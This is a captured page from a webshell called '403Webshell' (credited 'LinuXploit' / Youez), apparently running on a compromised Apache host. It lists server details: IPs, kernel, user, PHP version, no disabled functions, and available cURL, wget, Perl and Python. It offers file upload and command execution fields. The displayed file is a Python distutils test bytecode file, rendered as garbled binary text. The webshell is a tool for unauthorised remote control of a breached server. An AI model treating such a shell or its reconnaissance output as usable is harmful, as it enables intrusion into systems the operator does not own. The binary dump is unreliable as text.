403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/test_build_py.cpython-36.pyc
3

x2_��@s�dZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZddlm
Z
Gdd	�d	ejejej�Zd
d�Zedkr�e
e��dS)
z%Tests for distutils.command.build_py.�N)�build_py)�Distribution)�DistutilsFileError)�support)�run_unittestc@sXeZdZdd�Zdd�Zejejd�dd��Z	ejejd�dd	��Z
d
d�Zdd
�ZdS)�BuildPyTestCasec
Cs�|j�}ttjj|d�d�}z|jd�Wd|j�Xttjj|d�d�}z|jd�Wd|j�X|j�}tdgd|id��}tjj|d�|_t	j
d	|d
�|jd<dg|_ddgi|_
d|i|_t|�}d|_|j�|j|j
|j
�|j�|jt|j��d
�tjj|d�}tj|�}tjj|d�}|jd|�|jd|�tj�r^|jtjj|��ntj|�}	|jdtjj|	�dS)Nz__init__.py�wz# Pretend this is a package.z
README.txtzInfo about this package�pkg)�packages�package_dirzsetup.pyr)Zforce�	build_lib�build���__pycache__z__init__.%s.pyc)�mkdtemp�open�os�path�join�write�closer�script_namerZDummyCommandZcommand_objr
�package_datarr�compileZensure_finalized�assertEqual�run�lenZget_outputs�listdir�assertIn�sys�dont_write_bytecodeZassertFalse�exists�implementation�	cache_tag)
�self�sources�fZdestination�dist�cmdZpkgdest�filesZpycache_dirZ	pyc_files�r+�B/opt/alt/python36/lib64/python3.6/distutils/tests/test_build_py.py�test_package_datasF




z!BuildPyTestCase.test_package_datacCs�|j�}ttjj|d�d�j�tjj|d�}tj|�ttjj|d�d�j�tj|�tdgddiddgid��}tjj|d	�|_	d
g|_
|j�y|j�Wnt
k
r�|jd�YnXdS)Nz__init__.pyr�doc�testfiler	�zdoc/*)r
rrzsetup.pyr
z/failed package_data test when package_dir is '')rrrrrr�mkdir�chdirrr�script_args�parse_command_line�run_commandsr�fail)r%r&Ztestdirr(r+r+r,�test_empty_package_dirDs 

z&BuildPyTestCase.test_empty_package_dirzbyte-compile disabledcCs�|jdgd�\}}tj|�|jdd�t|�}d|_d|_|j�|j�tj	|j�}|j
t|�ddg�tj	tjj
|jd��}|j
|dtjjg�dS)	N�
boiledeggs)�
py_modulesz
boiledeggs.pyzimport antigravityr�hererzboiledeggs.%s.pyc)�create_distrr2�
write_filerrr�finalize_optionsrrr�sortedrrr r#r$)r%�project_dirr(r)�foundr+r+r,�test_byte_compile[s
z!BuildPyTestCase.test_byte_compilecCs�|jdgd�\}}tj|�|jdd�t|�}d|_d|_d|_|j�|j	�tj
|j�}|jt|�ddg�tj
tj
j|jd��}d	jtjj�}|jt|�|g�dS)
Nr8)r9z
boiledeggs.pyzimport antigravityrrr:rzboiledeggs.{}.opt-1.pyc)r;rr2r<rr�optimizerr=rrrr>rr�formatr r#r$)r%r?r(r)r@Zexpectr+r+r,�test_byte_compile_optimizedls
z+BuildPyTestCase.test_byte_compile_optimizedcCs�|j�}tjj|d�}tj|�ttjj|d�d�j�tjj|d�}tj|�ttjj|d�d�j�tjtjj|d��tj|�tdgddgid��}tjj|d	�|_	d
g|_
|j�y|j�Wnt
k
r�|jd�YnXdS)
zR
        A directory in package_data should not be added to the filelist.
        r	z__init__.pyrr.r/Zotherdirzdoc/*)r
rzsetup.pyr
z0failed package_data when data dir includes a dirN)rrrrr1rrr2rrr3r4r5rr6)r%r&Zpkg_dirZdocdirr(r+r+r,�test_dir_in_package_data~s$


z(BuildPyTestCase.test_dir_in_package_datac
Csl|j�d}t|�}d|_d|_tj}dt_z|jg�Wd|t_X|jd|jdd|jdd�dS)NrTzbyte-compiling is disabledr�)	r;rrrBr r!Zbyte_compilerZlogs)r%r(r)Zold_dont_write_bytecoder+r+r,�test_dont_write_bytecode�sz(BuildPyTestCase.test_dont_write_bytecodeN)
�__name__�
__module__�__qualname__r-r7�unittestZskipIfr r!rArDrErGr+r+r+r,rs1rcCs
tjt�S)N)rKZ	makeSuiterr+r+r+r,�
test_suite�srL�__main__)�__doc__rr rKZdistutils.command.build_pyrZdistutils.corerZdistutils.errorsrZdistutils.testsrZtest.supportrZTempdirManagerZLoggingSilencerZTestCaserrLrHr+r+r+r,�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit